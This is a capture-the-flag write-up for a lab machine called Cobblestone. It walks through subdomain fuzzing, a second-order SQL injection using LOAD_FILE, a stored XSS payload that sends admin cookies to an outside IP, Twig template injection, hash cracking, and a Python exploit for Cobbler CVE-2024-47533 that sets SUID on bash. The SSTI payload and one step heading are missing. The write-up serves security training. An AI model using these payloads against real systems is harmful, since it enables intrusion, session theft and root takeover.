Cobblestone

Machine Badge OS Difficulty

Property Value
OS Debian 12
Difficulty Insane
Release 2025 (Season 8)
Tags #second-order-sqli #load_file #xss #ssti #twig #hash-crack #cobbler #cve-2024-47533

Summary

Cobblestone is a multi-stage web-to-root Insane chain on Debian 12. Subdomain fuzzing reveals two vhosts: vote.cobblestone.htb (SQL injection) and deploy.cobblestone.htb (admin panel + Twig SSTI). The attack chains:

  1. Second-order SQLi in the vote subdomain
  2. MySQL LOAD_FILE to read server-side files including admin source / session secrets
  3. Stored XSS to steal admin session
  4. Twig template injection on the deploy panel for RCE
  5. Hash cracking for SSH lateral
  6. Cobbler XMLRPC API (CVE-2024-47533) binding to 127.0.0.1:25151 and running as root, exploited for final root

External Writeups

Key Techniques

  • vhost fuzzing (ffuf -H "Host: FUZZ.cobblestone.htb")
  • Second-order SQL injection (payload stored, executed on later request)
  • MySQL LOAD_FILE('/path/to/file') for arbitrary file read (requires FILE privilege)
  • Stored XSS to capture admin cookie / token
  • Twig SSTI via ``
  • bcrypt/argon2 hash cracking
  • CVE-2024-47533 - Cobbler XMLRPC unauth code execution via cobblerd on localhost

Attack Path

1. Recon 

nmap -p- --min-rate=10000 -sV -sC cobblestone.htb
# 22, 80, 443
ffuf -u http://FUZZ.cobblestone.htb -H "Host: FUZZ.cobblestone.htb" \
     -w subdomains.txt -mc 200,403
# -> vote.cobblestone.htb, deploy.cobblestone.htb

2. Second-Order SQLi

vote.cobblestone.htb registration accepts a comment field. The comment is later embedded in a SELECT on the admin moderation page:

SELECT * FROM comments WHERE author = '<stored input>'

Register with comment:

x', (SELECT LOAD_FILE('/var/www/deploy/.env'))) -- -

The next time the admin page renders, the payload reads /var/www/deploy/.env and embeds the contents in the rendered HTML.

A different field on vote allows HTML through a regex bypass. Inject:

<svg/onload=fetch('http://10.10.14.5/'+document.cookie)>

Admin loads moderation page -> cookie exfiltrated.

4. Twig SSTI on Deploy Panel

Authenticated as admin, the deploy panel renders a Twig template from a user-supplied “Deployment Description”:

Shell as www-deploy.

5. Hash Crack & SSH

Database dump reveals bcrypt hashes:

hashcat -m 3200 hashes.txt rockyou.txt
# user : <pw>
ssh user@cobblestone.htb

6. Cobbler XMLRPC CVE-2024-47533 (Root)

Enumerate:

ss -ltnp | grep 25151
# 127.0.0.1:25151  cobblerd (root)

CVE-2024-47533: an xmlrpc_methods permission check is missing for background_* tasks; combined with token forgery via login() with empty creds in default config:

import xmlrpc.client
c = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')
token = c.login('', '')
# Trigger background_buildiso with attacker-controlled args that invoke shell
c.background_buildiso({'iso':'/tmp/p.iso','profiles':'$(chmod +s /bin/bash)'}, token)

/bin/bash -p -> uid 0.

Lessons Learned

  • Second-order SQLi is harder to detect with off-the-shelf scanners; manual review of stored-then-rendered fields is necessary.
  • LOAD_FILE requires the FILE privilege on MySQL - default installs sometimes have it; CTF boxes almost always do.
  • Twig SSTI payloads have stabilised around _self.env.registerUndefinedFilterCallback("system") - one of the most reliable PHP-side SSTI primitives.
  • Cobbler XMLRPC on localhost is a recurring “root by trust” - the daemon trusts unauthenticated localhost callers.
  • Chained Insane boxes reward careful vhost enumeration; every distinct vhost is a separate attack surface.

References

  • CVE-2024-47533: https://nvd.nist.gov/vuln/detail/CVE-2024-47533
  • Cobbler project: https://cobbler.github.io/
  • Twig SSTI payloads: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection